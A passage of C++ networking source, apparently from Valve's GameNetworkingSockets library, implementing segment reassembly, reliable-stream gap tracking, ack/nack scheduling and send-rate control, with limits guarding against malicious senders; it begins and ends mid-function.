Now encode based on number of bits needed if ( nOffset < 0x100 ) { if ( pOut + 2 > pOutEnd ) return pOut; *pOut = 0x80; ++pOut; *pOut = uint8( nOffset ); ++pOut; } else if ( nOffset < 0x10000 ) { if ( pOut + 3 > pOutEnd ) return pOut; *pOut = 0x81; ++pOut; *(uint16*)pOut = LittleWord( uint16( nOffset ) ); pOut += 2; } else if ( nOffset < 0x1000000 ) { if ( pOut + 4 > pOutEnd ) return pOut; *pOut = 0x82; ++pOut; *pOut = uint8( nOffset ); // Wire format is little endian, so lowest 8 bits first ++pOut; *(uint16*)pOut = LittleWord( uint16( nOffset>>8 ) ); pOut += 2; } else { if ( pOut + 9 > pOutEnd ) return pOut; *pOut = 0x83; ++pOut; *(uint64*)pOut = LittleQWord( nOffset ); pOut += 8; } Assert( pOut <= pOutEnd ); return pOut; } void CSteamNetworkConnectionBase::SNP_ReceiveUnreliableSegment( int64 nMsgNum, int nOffset, const void *pSegmentData, int cbSegmentSize, bool bLastSegmentInMessage, SteamNetworkingMicroseconds usecNow ) { SpewDebugGroup( m_connectionConfig.m_LogLevel_PacketDecode.Get(), "[%s] RX msg %lld offset %d+%d=%d %02x ... %02x\n", GetDescription(), nMsgNum, nOffset, cbSegmentSize, nOffset+cbSegmentSize, ((byte*)pSegmentData)[0], ((byte*)pSegmentData)[cbSegmentSize-1] ); // Ignore data segments when we are not going to process them (e.g. linger) if ( GetState() != k_ESteamNetworkingConnectionState_Connected ) { SpewDebugGroup( m_connectionConfig.m_LogLevel_PacketDecode.Get(), "[%s] discarding msg %lld [%d,%d) as connection is in state %d\n", GetDescription(), nMsgNum, nOffset, nOffset+cbSegmentSize, (int)GetState() ); return; } // Check for a common special case: non-fragmented message. if ( nOffset == 0 && bLastSegmentInMessage ) { // Deliver it immediately, don't go through the fragmentation assembly process below. // (Although that would work.) ReceivedMessage( pSegmentData, cbSegmentSize, nMsgNum, k_nSteamNetworkingSend_Unreliable, usecNow ); return; } // Limit number of unreliable segments we store. We just use a fixed // limit, rather than trying to be smart by expiring based on time or whatever. if ( len( m_receiverState.m_mapUnreliableSegments ) > k_nMaxBufferedUnreliableSegments ) { auto itDelete = m_receiverState.m_mapUnreliableSegments.begin(); // If we're going to delete some, go ahead and delete all of them for this // message. int64 nDeleteMsgNum = itDelete->first.m_nMsgNum; do { itDelete = m_receiverState.m_mapUnreliableSegments.erase( itDelete ); } while ( itDelete != m_receiverState.m_mapUnreliableSegments.end() && itDelete->first.m_nMsgNum == nDeleteMsgNum ); // Warn if the message we are receiving is older (or the same) than the one // we are deleting. If sender is legit, then it probably means that we have // something tuned badly. if ( nDeleteMsgNum >= nMsgNum ) { // Spew, but rate limit in case of malicious sender SpewWarningRateLimited( usecNow, "[%s] SNP expiring unreliable segments for msg %lld, while receiving unreliable segments for msg %lld\n", GetDescription(), (long long)nDeleteMsgNum, (long long)nMsgNum ); } } // Message fragment. Find/insert the entry in our reassembly queue // I really hate this syntax and interface. SSNPRecvUnreliableSegmentKey key; key.m_nMsgNum = nMsgNum; key.m_nOffset = nOffset; SSNPRecvUnreliableSegmentData &data = m_receiverState.m_mapUnreliableSegments[ key ]; if ( data.m_cbSegSize >= 0 ) { // We got another segment starting at the same offset. This is weird, since they shouldn't // be doing. But remember that we're working on top of UDP, which could deliver packets // multiple times. We'll spew about it, just in case it indicates a bug in this code or the sender. SpewWarningRateLimited( usecNow, "[%s] Received unreliable msg %lld segment offset %d twice. Sizes %d,%d, last=%d,%d\n", GetDescription(), nMsgNum, nOffset, data.m_cbSegSize, cbSegmentSize, (int)data.m_bLast, (int)bLastSegmentInMessage ); // Just drop the segment. Note that the sender might have sent a longer segment from the previous // one, in which case this segment contains new data, and is not therefore redundant. That seems // "legal", but very weird, and not worth handling. If senders do retransmit unreliable segments // (perhaps FEC?) then they need to retransmit the exact same segments. return; } // Segment in the map either just got inserted, or is a subset of the segment // we just received. Replace it. data.m_cbSegSize = cbSegmentSize; Assert( !data.m_bLast ); data.m_bLast = bLastSegmentInMessage; memcpy( data.m_buf, pSegmentData, cbSegmentSize ); // Now check if that completed the message key.m_nOffset = 0; auto itMsgStart = m_receiverState.m_mapUnreliableSegments.lower_bound( key ); auto end = m_receiverState.m_mapUnreliableSegments.end(); Assert( itMsgStart != end ); auto itMsgLast = itMsgStart; int cbMessageSize = 0; for (;;) { // Is this the thing we expected? if ( itMsgLast->first.m_nMsgNum != nMsgNum || itMsgLast->first.m_nOffset > cbMessageSize ) return; // We've got a gap. // Update. This code looks more complicated than strictly necessary, but it works // if we have overlapping segments. cbMessageSize = std::max( cbMessageSize, itMsgLast->first.m_nOffset + itMsgLast->second.m_cbSegSize ); // Is that the end? if ( itMsgLast->second.m_bLast ) break; // Still looking for the end ++itMsgLast; if ( itMsgLast == end ) return; } CSteamNetworkingMessage *pMsg = CSteamNetworkingMessage::New( this, cbMessageSize, nMsgNum, k_nSteamNetworkingSend_Unreliable, usecNow ); if ( !pMsg ) return; // OK, we have the complete message! Gather the // segments into a contiguous buffer for (;;) { Assert( itMsgStart->first.m_nMsgNum == nMsgNum ); memcpy( (char *)pMsg->m_pData + itMsgStart->first.m_nOffset, itMsgStart->second.m_buf, itMsgStart->second.m_cbSegSize ); // Done? if ( itMsgStart->second.m_bLast ) break; // Remove entry from list, and move onto the next entry itMsgStart = m_receiverState.m_mapUnreliableSegments.erase( itMsgStart ); } // Erase the last segment, and anything else we might have hanging around // for this message (???) do { itMsgStart = m_receiverState.m_mapUnreliableSegments.erase( itMsgStart ); } while ( itMsgStart != end && itMsgStart->first.m_nMsgNum == nMsgNum ); // Deliver the message. ReceivedMessage( pMsg ); } bool CSteamNetworkConnectionBase::SNP_ReceiveReliableSegment( int64 nPktNum, int64 nSegBegin, const uint8 *pSegmentData, int cbSegmentSize, SteamNetworkingMicroseconds usecNow ) { int nLogLevelPacketDecode = m_connectionConfig.m_LogLevel_PacketDecode.Get(); // Calculate segment end stream position int64 nSegEnd = nSegBegin + cbSegmentSize; // Spew SpewVerboseGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld reliable range [%lld,%lld)\n", GetDescription(), (long long)nPktNum, (long long)nSegBegin, (long long)nSegEnd ); // No segment data? Seems fishy, but if it happens, just skip it. Assert( cbSegmentSize >= 0 ); if ( cbSegmentSize <= 0 ) { // Spew but rate limit in case of malicious sender SpewWarningRateLimited( usecNow, "[%s] decode pkt %lld empty reliable segment?\n", GetDescription(), (long long)nPktNum ); return true; } // Ignore data segments when we are not going to process them (e.g. linger) if ( GetState() != k_ESteamNetworkingConnectionState_Connected ) { SpewVerboseGroup( nLogLevelPacketDecode, "[%s] discarding pkt %lld [%lld,%lld) as connection is in state %d\n", GetDescription(), (long long)nPktNum, (long long)nSegBegin, (long long)nSegEnd, (int)GetState() ); return true; } // Check if the entire thing is stuff we have already received, then // we can discard it if ( nSegEnd <= m_receiverState.m_nReliableStreamPos ) return true; // !SPEED! Should we have a fast path here for small messages // where we have nothing buffered, and avoid all the copying into the // stream buffer and decode directly. // What do we expect to receive next? const int64 nExpectNextStreamPos = m_receiverState.m_nReliableStreamPos + len( m_receiverState.m_bufReliableStream ); // Check if we need to grow the reliable buffer to hold the data if ( nSegEnd > nExpectNextStreamPos ) { int64 cbNewSize = nSegEnd - m_receiverState.m_nReliableStreamPos; Assert( cbNewSize > len( m_receiverState.m_bufReliableStream ) ); // Check if we have too much data buffered, just stop processing // this packet, and forget we ever received it. We need to protect // against a malicious sender trying to create big gaps. If they // are legit, they will notice that we go back and fill in the gaps // and we will get caught up. if ( cbNewSize > k_cbMaxBufferedReceiveReliableData ) { // Stop processing the packet, and don't ack it. // This indicates the connection is in pretty bad shape, // so spew about it. But rate limit in case of malicious sender SpewWarningRateLimited( usecNow, "[%s] decode pkt %lld abort. %lld bytes reliable data buffered [%lld-%lld), new size would be %lld to %lld\n", GetDescription(), (long long)nPktNum, (long long)m_receiverState.m_bufReliableStream.size(), (long long)m_receiverState.m_nReliableStreamPos, (long long)( m_receiverState.m_nReliableStreamPos + m_receiverState.m_bufReliableStream.size() ), (long long)cbNewSize, (long long)nSegEnd ); return false; // DO NOT ACK THIS PACKET } // Check if this is going to make a new gap if ( nSegBegin > nExpectNextStreamPos ) { if ( !m_receiverState.m_mapReliableStreamGaps.empty() ) { // We should never have a gap at the very end of the buffer. // (Why would we extend the buffer, unless we needed to to // store some data?) Assert( m_receiverState.m_mapReliableStreamGaps.rbegin()->second < nExpectNextStreamPos ); // We need to add a new gap. See if we're already too fragmented. if ( len( m_receiverState.m_mapReliableStreamGaps ) >= k_nMaxReliableStreamGaps_Extend ) { // Stop processing the packet, and don't ack it // This indicates the connection is in pretty bad shape, // so spew about it. But rate limit in case of malicious sender SpewWarningRateLimited( usecNow, "[%s] decode pkt %lld abort. Reliable stream already has %d fragments, first is [%lld,%lld), last is [%lld,%lld), new segment is [%lld,%lld)\n", GetDescription(), (long long)nPktNum, len( m_receiverState.m_mapReliableStreamGaps ), (long long)m_receiverState.m_mapReliableStreamGaps.begin()->first, (long long)m_receiverState.m_mapReliableStreamGaps.begin()->second, (long long)m_receiverState.m_mapReliableStreamGaps.rbegin()->first, (long long)m_receiverState.m_mapReliableStreamGaps.rbegin()->second, (long long)nSegBegin, (long long)nSegEnd ); return false; // DO NOT ACK THIS PACKET } } // Add a gap m_receiverState.m_mapReliableStreamGaps[ nExpectNextStreamPos ] = nSegBegin; } m_receiverState.m_bufReliableStream.resize( size_t( cbNewSize ) ); } // If segment overlapped the existing buffer, we might need to discard the front // bit or discard a gap that was filled if ( nSegBegin < nExpectNextStreamPos ) { // Check if the front bit has already been processed, then skip it if ( nSegBegin < m_receiverState.m_nReliableStreamPos ) { int nSkip = m_receiverState.m_nReliableStreamPos - nSegBegin; cbSegmentSize -= nSkip; pSegmentData += nSkip; nSegBegin += nSkip; } Assert( nSegBegin < nSegEnd ); // Check if this filled in one or more gaps (or made a hole in the middle!) if ( !m_receiverState.m_mapReliableStreamGaps.empty() ) { auto gapFilled = m_receiverState.m_mapReliableStreamGaps.upper_bound( nSegBegin ); if ( gapFilled != m_receiverState.m_mapReliableStreamGaps.begin() ) { --gapFilled; Assert( gapFilled->first < gapFilled->second ); // Make sure we don't have degenerate/invalid gaps in our table Assert( gapFilled->first <= nSegBegin ); // Make sure we located the gap we think we located if ( gapFilled->second > nSegBegin ) // gap is not entirely before this segment { do { // Common case where we fill exactly at the start if ( nSegBegin == gapFilled->first ) { if ( nSegEnd < gapFilled->second ) { // We filled the first bit of the gap. Chop off the front bit that we filled. // We cast away const here because we know that we aren't violating the ordering constraints const_cast<int64&>( gapFilled->first ) = nSegEnd; break; } // Filled the whole gap. // Erase, and move forward in case this also fills more gaps // !SPEED! Since exactly filing the gap should be common, we might // check specifically for that case and early out here. gapFilled = m_receiverState.m_mapReliableStreamGaps.erase( gapFilled ); } else if ( nSegEnd >= gapFilled->second ) { // Chop off the end of the gap Assert( nSegBegin < gapFilled->second ); gapFilled->second = nSegBegin; // And maybe subsequent gaps! ++gapFilled; } else { // We are fragmenting. Assert( nSegBegin > gapFilled->first ); Assert( nSegEnd < gapFilled->second ); // Protect against malicious sender. A good sender will // fill the gaps in stream position order and not fragment // like this if ( len( m_receiverState.m_mapReliableStreamGaps ) >= k_nMaxReliableStreamGaps_Fragment ) { // Stop processing the packet, and don't ack it SpewWarningRateLimited( usecNow, "[%s] decode pkt %lld abort. Reliable stream already has %d fragments, first is [%lld,%lld), last is [%lld,%lld). We don't want to fragment [%lld,%lld) with new segment [%lld,%lld)\n", GetDescription(), (long long)nPktNum, len( m_receiverState.m_mapReliableStreamGaps ), (long long)m_receiverState.m_mapReliableStreamGaps.begin()->first, (long long)m_receiverState.m_mapReliableStreamGaps.begin()->second, (long long)m_receiverState.m_mapReliableStreamGaps.rbegin()->first, (long long)m_receiverState.m_mapReliableStreamGaps.rbegin()->second, (long long)gapFilled->first, (long long)gapFilled->second, (long long)nSegBegin, (long long)nSegEnd ); return false; // DO NOT ACK THIS PACKET } // Save bounds of the right side int64 nRightHandBegin = nSegEnd; int64 nRightHandEnd = gapFilled->second; // Truncate the left side gapFilled->second = nSegBegin; // Add the right hand gap m_receiverState.m_mapReliableStreamGaps[ nRightHandBegin ] = nRightHandEnd; // And we know that we cannot possible have covered any more gaps break; } // In some rare cases we might fill more than one gap with a single segment. // So keep searching forward. } while ( gapFilled != m_receiverState.m_mapReliableStreamGaps.end() && gapFilled->first < nSegEnd ); } } } } // Copy the data into the buffer. // It might be redundant, but if so, we aren't going to take the // time to figure that out. int nBufOffset = nSegBegin - m_receiverState.m_nReliableStreamPos; Assert( nBufOffset >= 0 ); Assert( nBufOffset+cbSegmentSize <= len( m_receiverState.m_bufReliableStream ) ); memcpy( &m_receiverState.m_bufReliableStream[nBufOffset], pSegmentData, cbSegmentSize ); // Figure out how many valid bytes are at the head of the buffer int nNumReliableBytes; if ( m_receiverState.m_mapReliableStreamGaps.empty() ) { nNumReliableBytes = len( m_receiverState.m_bufReliableStream ); } else { auto firstGap = m_receiverState.m_mapReliableStreamGaps.begin(); Assert( firstGap->first >= m_receiverState.m_nReliableStreamPos ); if ( firstGap->first < nSegBegin ) { // There's gap in front of us, and therefore if we didn't have // a complete reliable message before, we don't have one now. Assert( firstGap->second <= nSegBegin ); return true; } // We do have a gap, but it's somewhere after this segment. Assert( firstGap->first >= nSegEnd ); nNumReliableBytes = firstGap->first - m_receiverState.m_nReliableStreamPos; Assert( nNumReliableBytes > 0 ); Assert( nNumReliableBytes < len( m_receiverState.m_bufReliableStream ) ); // The last byte in the buffer should always be valid! } Assert( nNumReliableBytes > 0 ); // OK, now dispatch as many reliable messages as are now available do { // OK, if we get here, we have some data. Attempt to decode a reliable message. // NOTE: If the message is really big, we will end up doing this parsing work // each time we get a new packet. We could cache off the result if we find out // that it's worth while. It should be pretty fast, though, so let's keep the // code simple until we know that it's worthwhile. uint8 *pReliableStart = &m_receiverState.m_bufReliableStream[0]; uint8 *pReliableDecode = pReliableStart; uint8 *pReliableEnd = pReliableDecode + nNumReliableBytes; // Spew SpewDebugGroup( nLogLevelPacketDecode, "[%s] decode pkt %lld valid reliable bytes = %d [%lld,%lld)\n", GetDescription(), (long long)nPktNum, nNumReliableBytes, (long long)m_receiverState.m_nReliableStreamPos, (long long)( m_receiverState.m_nReliableStreamPos + nNumReliableBytes ) ); // Sanity check that we have a valid header byte. uint8 nHeaderByte = *(pReliableDecode++); if ( nHeaderByte & 0x80 ) { ConnectionState_ProblemDetectedLocally( k_ESteamNetConnectionEnd_Misc_InternalError, "Invalid reliable message header byte 0x%02x", nHeaderByte ); return false; } // Parse the message number int64 nMsgNum = m_receiverState.m_nLastRecvReliableMsgNum; if ( nHeaderByte & 0x40 ) { uint64 nOffset; pReliableDecode = DeserializeVarInt( pReliableDecode, pReliableEnd, nOffset ); if ( pReliableDecode == nullptr ) { // We haven't received all of the message return true; // Packet OK and can be acked. } nMsgNum += nOffset; // Sanity check against a HUGE jump in the message number. // This is almost certainly bogus. (OKOK, yes it is theoretically // possible. But for now while this thing is still under development, // most likely it's a bug. Eventually we can lessen these to handle // the case where the app decides to send literally a million unreliable // messages in between reliable messages. The second condition is probably // legit, though.) if ( nOffset > 1000000 || nMsgNum > m_receiverState.m_nHighestSeenMsgNum+10000 ) { ConnectionState_ProblemDetectedLocally( k_ESteamNetConnectionEnd_Misc_InternalError, "Reliable message number lurch. Last reliable %lld, offset %llu, highest seen %lld", (long long)m_receiverState.m_nLastRecvReliableMsgNum, (unsigned long long)nOffset, (long long)m_receiverState.m_nHighestSeenMsgNum ); return false; } } else { ++nMsgNum; } // Check for updating highest message number seen, so we know how to interpret // message numbers from the sender with only the lowest N bits present. // And yes, we want to do this even if we end up not processing the entire message if ( nMsgNum > m_receiverState.m_nHighestSeenMsgNum ) m_receiverState.m_nHighestSeenMsgNum = nMsgNum; // Parse message size. int cbMsgSize = nHeaderByte&0x1f; if ( nHeaderByte & 0x20 ) { uint64 nMsgSizeUpperBits; pReliableDecode = DeserializeVarInt( pReliableDecode, pReliableEnd, nMsgSizeUpperBits ); if ( pReliableDecode == nullptr ) { // We haven't received all of the message return true; // Packet OK and can be acked. } // Sanity check size. Note that we do this check before we shift, // to protect against overflow. // (Although DeserializeVarInt doesn't detect overflow...) if ( nMsgSizeUpperBits > (uint64)k_cbMaxMessageSizeRecv<<5 ) { ConnectionState_ProblemDetectedLocally( k_ESteamNetConnectionEnd_Misc_InternalError, "Reliable message size too large. (%llu<<5 + %d)", (unsigned long long)nMsgSizeUpperBits, cbMsgSize ); return false; } // Compute total size, and check it again cbMsgSize += int( nMsgSizeUpperBits<<5 ); if ( cbMsgSize > k_cbMaxMessageSizeRecv ) { ConnectionState_ProblemDetectedLocally( k_ESteamNetConnectionEnd_Misc_InternalError, "Reliable message size %d too large.", cbMsgSize ); return false; } } // Do we have the full thing? if ( pReliableDecode+cbMsgSize > pReliableEnd ) { // Ouch, we did all that work and still don't have the whole message. return true; // packet is OK, can be acked, and continue processing it } // We have a full message! Queue it if ( !ReceivedMessage( pReliableDecode, cbMsgSize, nMsgNum, k_nSteamNetworkingSend_Reliable, usecNow ) ) return false; // Weird failure. Most graceful response is to not ack this packet, and maybe we will work next on retry. pReliableDecode += cbMsgSize; int cbStreamConsumed = pReliableDecode-pReliableStart; // Advance bookkeeping m_receiverState.m_nLastRecvReliableMsgNum = nMsgNum; m_receiverState.m_nReliableStreamPos += cbStreamConsumed; // Remove the data from the from the front of the buffer pop_from_front( m_receiverState.m_bufReliableStream, cbStreamConsumed ); // We might have more in the stream that is ready to dispatch right now. nNumReliableBytes -= cbStreamConsumed; } while ( nNumReliableBytes > 0 ); return true; // packet is OK, can be acked, and continue processing it } void CSteamNetworkConnectionBase::SNP_RecordReceivedPktNum( int64 nPktNum, SteamNetworkingMicroseconds usecNow, bool bScheduleAck ) { // Check if sender has already told us they don't need us to // account for packets this old anymore if ( unlikely( nPktNum < m_receiverState.m_nMinPktNumToSendAcks ) ) return; // Fast path for the (hopefully) most common case of packets arriving in order if ( likely( nPktNum == m_statsEndToEnd.m_nMaxRecvPktNum+1 ) ) { if ( bScheduleAck ) // fast path for all unreliable data (common when we are just being used for transport) { // Schedule ack of this packet (since we are the highest numbered // packet, that means reporting on everything) QueueFlushAllAcks( usecNow + k_usecMaxDataAckDelay ); } return; } // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); // Latest time that this packet should be acked. // (We might already be scheduled to send and ack that would include this packet.) SteamNetworkingMicroseconds usecScheduleAck = bScheduleAck ? usecNow + k_usecMaxDataAckDelay : INT64_MAX; // Check if this introduced a gap since the last sequence packet we have received if ( nPktNum > m_statsEndToEnd.m_nMaxRecvPktNum ) { // Protect against malicious sender! if ( len( m_receiverState.m_mapPacketGaps ) >= k_nMaxPacketGaps ) return; // Nope, we will *not* actually mark the packet as received // Add a gap for the skipped packet(s). int64 nBegin = m_statsEndToEnd.m_nMaxRecvPktNum+1; std::pair<int64,SSNPPacketGap> x; x.first = nBegin; x.second.m_nEnd = nPktNum; x.second.m_usecWhenReceivedPktBefore = m_statsEndToEnd.m_usecTimeLastRecvSeq; x.second.m_usecWhenAckPrior = m_receiverState.m_mapPacketGaps.rbegin()->second.m_usecWhenAckPrior; // When should we nack this? x.second.m_usecWhenOKToNack = usecNow; if ( nPktNum < m_statsEndToEnd.m_nMaxRecvPktNum + 3 ) x.second.m_usecWhenOKToNack += k_usecNackFlush; auto iter = m_receiverState.m_mapPacketGaps.insert( x ).first; SpewMsgGroup( m_connectionConfig.m_LogLevel_PacketGaps.Get(), "[%s] drop %d pkts [%lld-%lld)", GetDescription(), (int)( nPktNum - nBegin ), (long long)nBegin, (long long)nPktNum ); // Remember that we need to send a NACK if ( m_receiverState.m_itPendingNack->first == INT64_MAX ) { m_receiverState.m_itPendingNack = iter; } else { // Pending nacks should be for older packet, not newer Assert( m_receiverState.m_itPendingNack->first < nBegin ); } // Back up if we we had a flush of everything scheduled if ( m_receiverState.m_itPendingAck->first == INT64_MAX && m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior < INT64_MAX ) { Assert( iter->second.m_usecWhenAckPrior == m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior ); m_receiverState.m_itPendingAck = iter; } // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); // Schedule ack of this packet (since we are the highest numbered // packet, that means reporting on everything) by the requested // time QueueFlushAllAcks( usecScheduleAck ); } else { // Check if this filed a gap auto itGap = m_receiverState.m_mapPacketGaps.upper_bound( nPktNum ); if ( itGap == m_receiverState.m_mapPacketGaps.end() ) { AssertMsg( false, "[%s] Cannot locate gap, or processing packet %lld multiple times. %s | %s", GetDescription(), (long long)nPktNum, m_statsEndToEnd.RecvPktNumStateDebugString().c_str(), m_statsEndToEnd.HistoryRecvSeqNumDebugString(8).c_str() ); return; } if ( itGap == m_receiverState.m_mapPacketGaps.begin() ) { AssertMsg( false, "[%s] Cannot locate gap, or processing packet %lld multiple times. [%lld,%lld) %s | %s", GetDescription(), (long long)nPktNum, (long long)itGap->first, (long long)itGap->second.m_nEnd, m_statsEndToEnd.RecvPktNumStateDebugString().c_str(), m_statsEndToEnd.HistoryRecvSeqNumDebugString(8).c_str() ); return; } --itGap; if ( itGap->first > nPktNum || itGap->second.m_nEnd <= nPktNum ) { // We already received this packet. But this should be impossible now, // we should be rejecting duplicate packet numbers earlier AssertMsg( false, "[%s] Packet gap bug. %lld [%lld,%lld) %s | %s", GetDescription(), (long long)nPktNum, (long long)itGap->first, (long long)itGap->second.m_nEnd, m_statsEndToEnd.RecvPktNumStateDebugString().c_str(), m_statsEndToEnd.HistoryRecvSeqNumDebugString(8).c_str() ); return; } // Packet is in a gap where we previously thought packets were lost. // (Packets arriving out of order.) // Last packet in gap? if ( itGap->second.m_nEnd-1 == nPktNum ) { // Single-packet gap? if ( itGap->first == nPktNum ) { // Were we waiting to ack/nack this? Then move forward to the next gap, if any usecScheduleAck = std::min( usecScheduleAck, itGap->second.m_usecWhenAckPrior ); if ( m_receiverState.m_itPendingAck == itGap ) ++m_receiverState.m_itPendingAck; if ( m_receiverState.m_itPendingNack == itGap ) ++m_receiverState.m_itPendingNack; // Save time when we needed to ack the packets before this gap SteamNetworkingMicroseconds usecWhenAckPrior = itGap->second.m_usecWhenAckPrior; // Gap is totally filled. Erase, and move to the next one, // if any, so we can schedule ack below itGap = m_receiverState.m_mapPacketGaps.erase( itGap ); // Were we scheduled to ack the packets before this? If so, then // we still need to do that, only now when we send that ack, we will // ack the packets after this gap as well, since they will be included // in the same ack block. // // NOTE: This is based on what was scheduled to be acked before we got // this packet. If we need to update the schedule to ack the current // packet, we will do that below. However, usually if previous // packets were already scheduled to be acked, then that deadline time // will be sooner usecScheduleAck, so the code below will not actually // do anything. if ( usecWhenAckPrior < itGap->second.m_usecWhenAckPrior ) { itGap->second.m_usecWhenAckPrior = usecWhenAckPrior; } else { // Otherwise, we might not have any acks scheduled. In that // case, the invariant is that m_itPendingAck should point at the sentinel if ( m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior == INT64_MAX ) { m_receiverState.m_itPendingAck = m_receiverState.m_mapPacketGaps.end(); --m_receiverState.m_itPendingAck; Assert( m_receiverState.m_itPendingAck->first == INT64_MAX ); } } SpewVerboseGroup( m_connectionConfig.m_LogLevel_PacketGaps.Get(), "[%s] decode pkt %lld, single pkt gap filled", GetDescription(), (long long)nPktNum ); // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); } else { // Shrink gap by one from the end --itGap->second.m_nEnd; Assert( itGap->first < itGap->second.m_nEnd ); SpewVerboseGroup( m_connectionConfig.m_LogLevel_PacketGaps.Get(), "[%s] decode pkt %lld, last packet in gap, reduced to [%lld,%lld)", GetDescription(), (long long)nPktNum, (long long)itGap->first, (long long)itGap->second.m_nEnd ); // Move to the next gap so we can schedule ack below ++itGap; // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); } } else if ( itGap->first == nPktNum ) { // First packet in multi-packet gap. // Shrink packet from the front // Cast away const to allow us to modify the key. // We know this won't break the map ordering ++const_cast<int64&>( itGap->first ); Assert( itGap->first < itGap->second.m_nEnd ); itGap->second.m_usecWhenReceivedPktBefore = usecNow; SpewVerboseGroup( m_connectionConfig.m_LogLevel_PacketGaps.Get(), "[%s] decode pkt %lld, first packet in gap, reduced to [%lld,%lld)", GetDescription(), (long long)nPktNum, (long long)itGap->first, (long long)itGap->second.m_nEnd ); // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); } else { // Packet is in the middle of the gap. We'll need to fragment this gap // Protect against malicious sender! if ( len( m_receiverState.m_mapPacketGaps ) >= k_nMaxPacketGaps ) return; // Nope, we will *not* actually mark the packet as received // Locate the next block so we can set the schedule time auto itNext = itGap; ++itNext; // Start making a new gap to account for the upper end std::pair<int64,SSNPPacketGap> upper; upper.first = nPktNum+1; upper.second.m_nEnd = itGap->second.m_nEnd; upper.second.m_usecWhenReceivedPktBefore = usecNow; if ( itNext == m_receiverState.m_itPendingAck ) upper.second.m_usecWhenAckPrior = INT64_MAX; else upper.second.m_usecWhenAckPrior = itNext->second.m_usecWhenAckPrior; upper.second.m_usecWhenOKToNack = itGap->second.m_usecWhenOKToNack; // Truncate the current gap itGap->second.m_nEnd = nPktNum; Assert( itGap->first < itGap->second.m_nEnd ); SpewVerboseGroup( m_connectionConfig.m_LogLevel_PacketGaps.Get(), "[%s] decode pkt %lld, gap split [%lld,%lld) and [%lld,%lld)", GetDescription(), (long long)nPktNum, (long long)itGap->first, (long long)itGap->second.m_nEnd, upper.first, upper.second.m_nEnd ); // Insert a new gap to account for the upper end, and // advance iterator to it, so that we can schedule ack below itGap = m_receiverState.m_mapPacketGaps.insert( upper ).first; // At this point, ack invariants should be met m_receiverState.DebugCheckPackGapMap(); } Assert( itGap != m_receiverState.m_mapPacketGaps.end() ); // Need to schedule ack (earlier than it is already scheduled)? if ( usecScheduleAck < itGap->second.m_usecWhenAckPrior ) { // Earlier than the current thing being scheduled? if ( usecScheduleAck <= m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior ) { // We're next, set the time itGap->second.m_usecWhenAckPrior = usecScheduleAck; // Any schedules for lower-numbered packets are superseded // by this one. if ( m_receiverState.m_itPendingAck->first <= itGap->first ) { while ( m_receiverState.m_itPendingAck != itGap ) { m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior = INT64_MAX; ++m_receiverState.m_itPendingAck; } } else { // If our number is lower than the thing that was scheduled next, // then back up and re-schedule any blocks in between to be effectively // the same time as they would have been flushed before. SteamNetworkingMicroseconds usecOldSched = m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior; while ( --m_receiverState.m_itPendingAck != itGap ) { m_receiverState.m_itPendingAck->second.m_usecWhenAckPrior = usecOldSched; } } } else { // We're not the next thing that needs to be acked. if ( itGap->first < m_receiverState.m_itPendingAck->first ) { // We're a lowered numbered packet, so this request is subsumed by the // request to flush more packets at an earlier time, // and we don't need to do anything. } else { // We need to ack a bit earlier itGap->second.m_usecWhenAckPrior = usecScheduleAck; // Now the only way for our invariants to be violated is for lower // numbered blocks to have later scheduled times. Assert( itGap != m_receiverState.m_mapPacketGaps.begin() ); while ( (--itGap)->second.m_usecWhenAckPrior > usecScheduleAck ) { Assert( itGap != m_receiverState.m_mapPacketGaps.begin() ); itGap->second.m_usecWhenAckPrior = usecScheduleAck; } } } // Make sure we didn't screw things up m_receiverState.DebugCheckPackGapMap(); } // Make sure are scheduled to wake up if ( bScheduleAck ) EnsureMinThinkTime( m_receiverState.TimeWhenFlushAcks() ); } } int CSteamNetworkConnectionBase::SNP_ClampSendRate() { // Get effective clamp limits. We clamp the limits themselves to be safe // and make sure they are sane int nMin = Clamp( m_connectionConfig.m_SendRateMin.Get(), 1024, 100*1024*1024 ); int nMax = Clamp( m_connectionConfig.m_SendRateMax.Get(), nMin, 100*1024*1024 ); // Clamp it, adjusting the value if it's out of range m_senderState.m_n_x = Clamp( m_senderState.m_n_x, nMin, nMax ); // Return value return m_senderState.m_n_x; } // Returns next think time SteamNetworkingMicroseconds CSteamNetworkConnectionBase::SNP_ThinkSendState( SteamNetworkingMicroseconds usecNow ) { // Accumulate tokens based on how long it's been since last time SNP_ClampSendRate(); SNP_TokenBucket_Accumulate( usecNow ); // Calculate next time we want to take action. If it isn't right now, then we're either idle or throttled. // Importantly, this will also check for retry timeout SteamNetworkingMicroseconds usecNextThink = SNP_GetNextThinkTime( usecNow ); if ( usecNextThink > usecNow ) return usecNextThink; // Keep sending packets until we run out of tokens int nPacketsSent = 0; while ( m_pTransport ) { if ( nPacketsSent > k_nMaxPacketsPerThink ) { // We're sending too much at one time. Nuke token bucket so that // we'll be ready to send again very soon, but not immediately. // We don't want the outer code to complain that we are requesting // a wakeup call in the past m_senderState.m_flTokenBucket = m_senderState.m_n_x * -0.0005f; return usecNow + 1000; } // Check if we have anything to send. if ( usecNow < m_receiverState.TimeWhenFlushAcks() && usecNow < SNP_TimeWhenWantToSendNextPacket() ) { // We've sent everything we want to send. Limit our reserve to a // small burst overage, in case we had built up an excess reserve // before due to the scheduler waking us up late. m_senderState.TokenBucket_Limit(); break; } // Send the next data packet. if ( !m_pTransport->SendDataPacket( usecNow ) ) { // Problem sending packet. Nuke token bucket, but request // a wakeup relatively quick to check on our state again m_senderState.m_flTokenBucket = m_senderState.m_n_x * -0.001f; return usecNow + 2000; } // We spent some tokens, do we have any left? if ( m_senderState.m_flTokenBucket < 0.0f ) break; // Limit number of packets sent at a time, even if the scheduler is really bad // or somebody holds the lock for along time, or we wake up late for whatever reason ++nPacketsSent; } // Return time when we need to check in again. SteamNetworkingMicroseconds usecNextAction = SNP_GetNextThinkTime( 